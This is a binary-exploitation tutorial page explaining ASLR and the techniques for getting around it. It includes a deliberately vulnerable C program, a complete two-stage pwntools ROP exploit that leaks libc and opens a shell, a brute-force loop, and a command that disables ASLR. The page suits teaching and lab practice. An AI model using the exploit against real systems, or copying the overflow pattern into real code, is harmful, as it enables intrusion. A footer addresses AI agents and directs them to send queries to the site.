> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/07.-aslr-bypass.md).

# 0x0B — Understanding ASLR and Its Bypass

## Overview

**ASLR (Address Space Layout Randomization)** is a security feature that randomizes the base addresses of memory regions (stack, heap, libc, binary) every time a program runs. This prevents attackers from hardcoding addresses in their exploits.

***

## What Does ASLR Randomize?

| Region      | Without ASLR        | With ASLR             |
| ----------- | ------------------- | --------------------- |
| Stack       | `0x7fffffffe000`    | Random each run       |
| Heap        | `0x602000`          | Random each run       |
| libc base   | `0x7ffff7a0d000`    | Random each run       |
| Binary base | `0x400000` (no PIE) | Random if PIE enabled |

Check ASLR status on Linux:

```bash
cat /proc/sys/kernel/randomize_va_space
# 0 = disabled, 1 = partial, 2 = full (default)
```

Disable for testing:

```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

***

## How ASLR Works Internally

On every execution, the kernel picks a **random slide value** and adds it to the base addresses of segments. For a 64-bit system, ASLR provides \~28 bits of entropy for mmap regions (including libc), making brute-force practically impossible.

```
Run 1:  libc base = 0x7f3a2c000000
Run 2:  libc base = 0x7f9e81000000
Run 3:  libc base = 0x7f11f4000000
```

However, **offsets within** libc are fixed. So:

```
puts_offset = libc.symbols['puts']  # constant across runs
```

If you can **leak one libc address**, you can compute all others.

***

## ASLR Bypass Techniques

### 1. Information Leak (Most Common)

Leak a runtime address from the GOT, stack, or heap. Subtract the known offset to calculate the base.

```python
# Leaked runtime address of puts
leaked_puts = 0x7f3a2c0a9fd0

# Offset of puts in libc (constant)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_offset = libc.symbols['puts']

# Calculate base
libc_base = leaked_puts - puts_offset
system_addr = libc_base + libc.symbols['system']
```

### 2. Brute Force (32-bit only)

On 32-bit systems, ASLR entropy is only \~16 bits (\~65536 possibilities). Brute-forcing is feasible for persistent services that don't fork-exec (e.g., `fork()` keeps the same address space).

```python
for i in range(65536):
    try:
        exploit(target_ip, guessed_libc_base)
    except:
        pass
```

### 3. ret2plt (No libc address needed)

Use PLT entries directly (addresses are fixed if no PIE). Call `puts@plt`, `printf@plt`, etc. without knowing libc — covered in 0x0C.

### 4. Format String Leak

Use a format string vulnerability to read addresses from the stack — libc return addresses, saved RBP values, etc.

```python
# %p prints pointer values from the stack
payload = b'%p.' * 20
# Parse output to find libc address
```

### 5. Partial Overwrite

On 64-bit systems, only the last 1–2 bytes of an address change with ASLR (page offset is fixed). With a single-byte overflow, you can redirect to a nearby function within the same page.

***

## Full Example: Bypassing ASLR with a GOT Leak

### Vulnerable Program (`vuln.c`)

```c
#include <stdio.h>
#include <string.h>

void vuln() {
    char buf[64];
    puts("Input: ");
    read(0, buf, 200);  // overflow
}

int main() {
    while(1) vuln();    // loops — good for 2-stage exploit
    return 0;
}
```

Compile:

```bash
gcc -o vuln vuln.c -no-pie -fno-stack-protector
```

### Exploit Plan

1. **Stage 1**: Overflow → call `puts(puts@got)` → leak libc address → return to main
2. **Stage 2**: Compute `system` + `/bin/sh` → overflow → shell

### Exploit Script

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./vuln')

pop_rdi = 0x4011d3   # ROPgadget --binary vuln | grep "pop rdi"
ret     = 0x40101a

### STAGE 1: Leak libc address ###
payload  = b'A' * 72
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])

p.sendafter(b'Input: \n', payload)

leak = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f"puts @ {hex(leak)}")

libc_base   = leak - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr  = libc_base + next(libc.search(b'/bin/sh'))

log.success(f"libc base = {hex(libc_base)}")

### STAGE 2: Get shell ###
payload2  = b'A' * 72
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)

p.sendafter(b'Input: \n', payload2)
p.interactive()
```

***

## PIE vs No-PIE

**PIE (Position Independent Executable)** extends ASLR to the binary itself.

| Scenario         | Binary base fixed? | libc base fixed? |
| ---------------- | ------------------ | ---------------- |
| No PIE, ASLR on  | ✅ Yes (0x400000)   | ❌ No             |
| PIE + ASLR on    | ❌ No               | ❌ No             |
| No PIE, ASLR off | ✅ Yes              | ✅ Yes            |

With PIE, you need a binary base leak too. Last 12 bits (3 hex digits) of the address are never randomized (page alignment).

***

## Key Takeaways

* ASLR randomizes base addresses of stack, heap, and libraries
* Offsets within a region are **constant** — one leak → all addresses
* 64-bit ASLR is strong (\~28-bit entropy) — brute force is not practical
* The standard bypass: **information leak → compute base → ROP chain**
* PIE must be defeated separately from ASLR

***

## Useful Commands

```bash
ldd ./vuln              # shows loaded libraries and their addresses
ldd ./vuln              # run multiple times to see ASLR in action
checksec --file=./vuln  # check ASLR/PIE/NX protections
vmmap                   # in pwndbg, shows memory layout
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/07.-aslr-bypass.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
